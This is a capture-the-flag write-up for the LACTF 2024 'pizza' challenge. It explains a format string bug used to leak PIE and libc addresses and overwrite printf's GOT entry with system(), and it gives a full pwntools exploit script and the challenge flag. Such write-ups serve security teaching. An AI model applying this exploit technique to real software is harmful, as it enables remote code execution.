LACTF 2024: pizza

yummy

TL;DR

Classic Format String GOT Overwrite - Abuse read primitive of printf() to leak canary, LIBC and PIE addresses, followed by GOT overwrite to execute a system(/bin/sh) call.

Pwninit

The challenge starts with a given Dockerfile, but without the LIBC.

The LIBC file can be retrieved from the Debian image via Docker volume as a shortcut.

Using o12/pwninit to patch the binary yields an error due to the lack of support for EGLIBC.

I found another fork of pwninit written in Python that supports EGLIBC, so I went with that instead.

Challenge Overview

Pizza is a menu-style challenge that prompts the user for 3 pizza toppings.

Interestingly enough, it supports custom toppings! These custom user inputs are then echoed back to us, indicating something fishy that leans toward an info leak primitive.

Inspecting the binary protection shows that Partial RELRO is enabled, meaning GOT overwrite is possible. Another thing to take note is PIE is enabled as well, meaning we would need an info leak to retrieve both LIBC and PIE addresses.

Format String Vulnerability

An obvious format string vulnerability exists when a custom topping is added. Since our user input is reflected back to us, we essentially have both Read & Write primitives to play with.

  printf("Here are the toppings that you chose:\n");
  for (int i = 0; i < 3; ++i) {
    printf(toppings[i]);
    printf("\n");
  }
  printf("Your pizza will be ready soon.\n");
  printf("Order another pizza? (y/n): ");

Write Primitive - GOT Overwrite

Recall that Partial RELRO is enabled on the GOT; This is a classic scenario where we can overwrite the GOT entry with something like system() to get a shell.

But first, we need to figure out the offset where the first positional argument occurs. To do this, input a bunch of A's followed by the pointer %p specifier. Since our initial input of A's showed up on the 6th address, this will be our offset.

Read Primitive - Leak LIBC & PIE

Before we overwrite the GOT, there are 2 info leaks required to formulate our payload - Remember, GOT entries are affected by PIE, and system() comes from LIBC which has ASLR enabled on the remote instance.

We can fuzz these offsets to understand where the leaks occur using a similar script from a previous writeup of SiberSiaga 2023: Password Generator. We'll skip forward this step, but PIE and LIBC can be found from offsets 49 and 47 respectively.

Next is to calculate how far these addresses are from their respective base addresses; the value for this will always remain as a constant throughout different runs.

Solution

Putting everything together - the read primitive info leaks has to come first before we make use of pwntool's fmtstr_payload() to construct our payload.

solve.py
#!/usr/bin/env python3

from pwn import *

elf = ELF("./pizza_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', b'%49$p:%47$p')
    r.sendlineafter(b'> ', b'0')    # We leaked both PIE and LIBC in 1st topping, therefore the 2nd & 3rd topping can be anything at this point
    r.sendlineafter(b'> ', b'0')

    r.recvuntil(b'chose:\n')
    leak = r.recvline().strip()

    elf.address = int(leak.strip().split(b':')[0], 16) - 0x1189
    libc.address = int(leak.strip().split(b':')[1], 16) - 0x2724a

    log.info(hex(elf.address))
    log.info(hex(libc.address))

    r.sendlineafter(b'(y/n): ', b'y')

    payload = fmtstr_payload(6, {elf.got.printf: libc.symbols.system}, write_size='short')

    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', payload)
    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', b'/bin/sh')
    r.sendlineafter(b'> ', b'0')

    r.interactive()

if __name__ == "__main__":
    main()

Flag: lactf{golf_balls_taste_great_2tscx63xm3ndvycw}

Last updated